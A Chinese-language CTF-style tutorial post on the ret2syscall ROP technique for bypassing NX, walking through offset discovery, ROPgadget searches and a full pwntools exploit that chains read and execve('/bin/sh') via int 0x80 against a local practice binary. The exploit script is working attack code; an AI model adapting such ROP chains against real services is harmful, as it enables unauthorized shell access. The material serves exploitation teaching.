当前位置: 首页 > news >正文

PWN基础-ROP技术-ret2syscall突破NX保护

ROP(Return-Oriented Programming,返回导向编程)是一种利用程序已有代码片段来执行任意指令的攻击技术,常用于绕过现代系统的安全机制,尤其是不可执行栈(NX)

常规检查一下:

32 位程序,小端序,开启了 NX 保护

先用 gdb 测一下偏移:

拿到: 

offset = 44

我们 ret2syscall 实际还是希望调用 execve,和 ret2shellcode 类似,只是多了堆栈不可执行 

所有我们先找 pop eax;ret 的地址

ROPgadget --binary ret2sys --only "pop|ret" | grep "eax"

拿到:

pop_eax = 0x080bb2c6

 继续找另外三个寄存器:

ROPgadget --binary ret2sys --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"

也有,记录地址:

pop_edx_ecx_ebx = 0x0806ecb0

接下来我们找 /bin/sh 字符串的地址

ROPgadget --binary ret2sys --string "/bin/sh"

没有找到,因此我们后面需要手动将 /bin/sh 写到 bss 段

我们先继续找系统调用:

ROPgadget --binary ret2sys --only "int" | grep 0x80

记录地址:

int_0x80 = 0x08049421  //这里有点问题,实际地址应该是0x0806F350

接下来我们需要手动写入 /bin/sh ,找一个具有写权限的段:

我们就从这个 0x80eb000 开始写吧

bss_addr = 0x80eb000

我们先系统调用 read,其 32 位系统调用号是 3,即 0x3

payload:

p32(pop_eax)+p32(0x3)+p32(pop_edx_ecx_ebx)+p32(0x20)+p32(bss_addr)+p32(0)+p32(int_0x80)

后面我们会继续发送内容(/bin/sh)给 read 函数,读取到 bss_addr

由于栈帧是一次性的,因此我们需要一次性把完整的 ROP 链打进去

并且 Linux 下的 int 0x80 系统调用(read)是阻塞型的同步调用

我们继续调用 execve,其 32 位系统调用号是 11,即 0xb

payload:

p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)

最后再发送 /bin/sh 给read函数,完整 exp:

# @author:My6n
# @time:20250507
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./ret2sys')
offset = 44
pop_eax = 0x080bb2c6
pop_edx_ecx_ebx = 0x0806ecb0
int_0x80 = 0x0806F350
bss_addr = 0x80eb000
payload = cyclic(offset)+p32(pop_eax)+p32(0x3)+p32(pop_edx_ecx_ebx)+p32(0x20)+p32(bss_addr)+p32(0)+p32(int_0x80)+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

没有问题 

相关文章:

  • Mongo3.4升级到mongo6性能降低9倍
  • spring cloud alibaba nacos 服务注册
  • 回溯进阶(一):以全排列问题为例,来展示如何对回溯的纵向和横向进行操作
  • 成功解决 AttributeError: module ‘pathlib‘ has no attribute ‘_Accessor‘
  • gbase8s数据库 tcp连接不同阶段的超时处理
  • BFC理解
  • 60页PDF | 四川电信数据湖 + 数据中台实施方案:覆盖数据能力、数据资产及数据治理的全流程建设指南
  • spring cloud gateway 断言(Predicates)与过滤器(filters)
  • day009-用户管理专题
  • Go语言八股之channel详解
  • 火绒互联网安全软件:自主引擎,精准防御
  • 迈向AI辅助数据分析代码生成的透明性与知识共享
  • Java游戏服务器开发流水账(1)游戏服务器的架构浅析
  • 【C++游戏引擎开发】第32篇:物理引擎(Bullet)—约束系统
  • java基础-数组
  • 【AI论文】
  • oracle 数据库sql 语句处理过程
  • 用 NGINX 打造高性能 FastCGI 加速 `ngx_http_fastcgi_module`
  • RabbitMQ高级特性
  • LeetCode 267:回文排列 II —— Swift 解法全解析
  • 优化网络营商环境,上海严厉打击涉企网络谣言、黑灰产等违法犯罪
  • “用鲜血和生命凝结的深厚情谊”——习近平主席署名文章中的中俄友好故事
  • 杭温高铁、沪苏湖高铁明起推出定期票和计次票,不限车次执行优惠折扣
  • 四问当前旱情:还会持续多久
  • 高进华“控股”后首份年报出炉,史丹利账上可动资金大幅缩水
  • 哥伦比亚总统称将在访华期间签署“一带一路”倡议意向书,外交部回应